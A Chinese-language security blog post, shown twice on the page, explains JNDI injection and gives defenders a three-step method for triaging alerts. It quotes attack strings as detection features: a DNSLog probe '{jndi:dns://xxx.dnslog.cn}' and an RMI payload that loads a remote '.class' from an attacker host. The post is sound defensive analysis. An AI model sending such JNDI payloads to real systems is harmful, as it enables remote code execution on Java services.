searchusermenu
  • 发布文章
  • 消息中心
点赞
收藏
评论
分享
原创

JNDI注入攻击快速研判方法

2024-08-20 09:57:59
17
0

1. JNDI注入攻击原理简述

JNDI注入攻击是一种在Java应用程序中常见的安全漏洞,它利用Java Naming and Directory Interface(JNDI)的动态类加载功能来实现远程代码执行(RCE)。以下是JNDI注入攻击的原理概述:

1) JNDI的角色:JNDI提供了一组API,允许Java应用程序查找和访问各种资源,如数据库连接、远程对象等。它支持多种命名和目录服务,包括RMI(Remote Method Invocation)DNS、LDAP、CORBA等

2) 动态类加载:JNDI的核心特点之一是动态类加载。如果本地JVM没有所需的类定义,它可以从远程URL下载class文件并动态加载。JNDI注入利用了这一特性。

3) JNDI注入过程:

a) 攻击者控制JNDI服务中的lookup()方法的参数,通常是通过构造一个恶意的URI。

b) 当应用程序调用lookup()方法时,JNDI服务会尝试解析该URI并获取对应的对象。

c) 如果URI指向攻击者控制的RMI服务,攻击者可以返回一个恶意的Reference对象。

d) 应用程序的JNDI客户端将尝试解析这个Reference,可能会触发远程类的下载和实例化。

2. JNDI注入攻击快速研判方法/标准

攻击者往往是先探测目标是否存在漏洞、如果存在漏洞再利用;这里最大的问题在于JNDI的调用过程是否为正常的业务操作还是恶意攻击。所以我们的研判分作3步。

1) 漏洞存在性探测研判

恶意攻击者一般会利用公开域名探测目标是否存在JNDI注入漏洞,通过回显信息判断JDK的版本,通过版本匹配方式研判是否存在漏洞。选择的域名往往是公开的DNSLog平台。

a) 向攻击目标发送的漏洞探测URL中包含典型特征,示例如:{jndi:dns://xxx.dnslog.cn},3个关键点,分别是JNDI,DNS(DNS可以是其他原理中的RMI、LDAP等协议),后面的域名。

b) 其中的域名往往是公开的DNSLog平台,例如ceye.io,DNSLog.cn。前面的xxx子域名往往是恶意攻击者在这些平台上注册后,随机分配的子域名。例如9jrc69riohq44ah.zqdob1wr.ul263v.ceye.io或者id4cba.dnslog.cn,这些子域名都是系统随机生成的。

c) 当攻击者向攻击目标发送漏洞探测URL后,攻击者登录这些DNS平台后,可以查看探测URL的回显数据,其中最关键的是JDK的版本信息,如果有版本信息,且低于存在漏洞的JDK版本,则说明存在漏洞。下图是在DNSLOG.cn平台上看到的数据。

 

2) 漏洞利用研判

一般而言,如果攻击目标(往往是WEB应用系统)被WAF保护,这个时候的漏洞探测URL就会被拦截,往往不会有后续了。但是有时候,攻击者可能会盲打,不管存在不存在都会发起漏洞攻击,尤其是大面积的攻击(HW中这种比较少)。

a) 攻击者一般会直接发起RCE攻击,因此攻击的URL中往往包含{jndi:RMI://攻击者域名/攻击程序.class},其中主要特征有2个,一是JNDI:RMI组合,二是攻击者域名及.class程序的路径组合。

b) 通过威胁情报或者其他手段分析“攻击者域名”,看是否为恶意域名,或者刚申请的新域名

c) 如果进一步分析,可以将“攻击程序.class”下载下来,进行反编译(JAVA的反编译非常简单,用IDEA打开就能看到源码)

3) 是否为业务操作

是否为业务操作是最难判定的。这里的业务操作分2种情况,一是产品研发线进行一些测试;二是安全团队进行漏洞检测,以发现是否存在漏洞。

在这里,简单一点进行研判,就是认为不会是业务操作。因为对于这类操作,即使是产品线的测试操作,也需要拦截,倒逼业务使用其他手段进行测试;如果是安全团队的漏洞检测,也需要拦截,倒逼安全团队使用其他方式探测。

0条评论
作者已关闭评论
安全小学生
6文章数
0粉丝数
安全小学生
6 文章 | 0 粉丝
原创

JNDI注入攻击快速研判方法

2024-08-20 09:57:59
17
0

1. JNDI注入攻击原理简述

JNDI注入攻击是一种在Java应用程序中常见的安全漏洞,它利用Java Naming and Directory Interface(JNDI)的动态类加载功能来实现远程代码执行(RCE)。以下是JNDI注入攻击的原理概述:

1) JNDI的角色:JNDI提供了一组API,允许Java应用程序查找和访问各种资源,如数据库连接、远程对象等。它支持多种命名和目录服务,包括RMI(Remote Method Invocation)DNS、LDAP、CORBA等

2) 动态类加载:JNDI的核心特点之一是动态类加载。如果本地JVM没有所需的类定义,它可以从远程URL下载class文件并动态加载。JNDI注入利用了这一特性。

3) JNDI注入过程:

a) 攻击者控制JNDI服务中的lookup()方法的参数,通常是通过构造一个恶意的URI。

b) 当应用程序调用lookup()方法时,JNDI服务会尝试解析该URI并获取对应的对象。

c) 如果URI指向攻击者控制的RMI服务,攻击者可以返回一个恶意的Reference对象。

d) 应用程序的JNDI客户端将尝试解析这个Reference,可能会触发远程类的下载和实例化。

2. JNDI注入攻击快速研判方法/标准

攻击者往往是先探测目标是否存在漏洞、如果存在漏洞再利用;这里最大的问题在于JNDI的调用过程是否为正常的业务操作还是恶意攻击。所以我们的研判分作3步。

1) 漏洞存在性探测研判

恶意攻击者一般会利用公开域名探测目标是否存在JNDI注入漏洞,通过回显信息判断JDK的版本,通过版本匹配方式研判是否存在漏洞。选择的域名往往是公开的DNSLog平台。

a) 向攻击目标发送的漏洞探测URL中包含典型特征,示例如:{jndi:dns://xxx.dnslog.cn},3个关键点,分别是JNDI,DNS(DNS可以是其他原理中的RMI、LDAP等协议),后面的域名。

b) 其中的域名往往是公开的DNSLog平台,例如ceye.io,DNSLog.cn。前面的xxx子域名往往是恶意攻击者在这些平台上注册后,随机分配的子域名。例如9jrc69riohq44ah.zqdob1wr.ul263v.ceye.io或者id4cba.dnslog.cn,这些子域名都是系统随机生成的。

c) 当攻击者向攻击目标发送漏洞探测URL后,攻击者登录这些DNS平台后,可以查看探测URL的回显数据,其中最关键的是JDK的版本信息,如果有版本信息,且低于存在漏洞的JDK版本,则说明存在漏洞。下图是在DNSLOG.cn平台上看到的数据。

 

2) 漏洞利用研判

一般而言,如果攻击目标(往往是WEB应用系统)被WAF保护,这个时候的漏洞探测URL就会被拦截,往往不会有后续了。但是有时候,攻击者可能会盲打,不管存在不存在都会发起漏洞攻击,尤其是大面积的攻击(HW中这种比较少)。

a) 攻击者一般会直接发起RCE攻击,因此攻击的URL中往往包含{jndi:RMI://攻击者域名/攻击程序.class},其中主要特征有2个,一是JNDI:RMI组合,二是攻击者域名及.class程序的路径组合。

b) 通过威胁情报或者其他手段分析“攻击者域名”,看是否为恶意域名,或者刚申请的新域名

c) 如果进一步分析,可以将“攻击程序.class”下载下来,进行反编译(JAVA的反编译非常简单,用IDEA打开就能看到源码)

3) 是否为业务操作

是否为业务操作是最难判定的。这里的业务操作分2种情况,一是产品研发线进行一些测试;二是安全团队进行漏洞检测,以发现是否存在漏洞。

在这里,简单一点进行研判,就是认为不会是业务操作。因为对于这类操作,即使是产品线的测试操作,也需要拦截,倒逼业务使用其他手段进行测试;如果是安全团队的漏洞检测,也需要拦截,倒逼安全团队使用其他方式探测。

文章来自个人专栏
文章 | 订阅
0条评论
作者已关闭评论
作者已关闭评论
0
0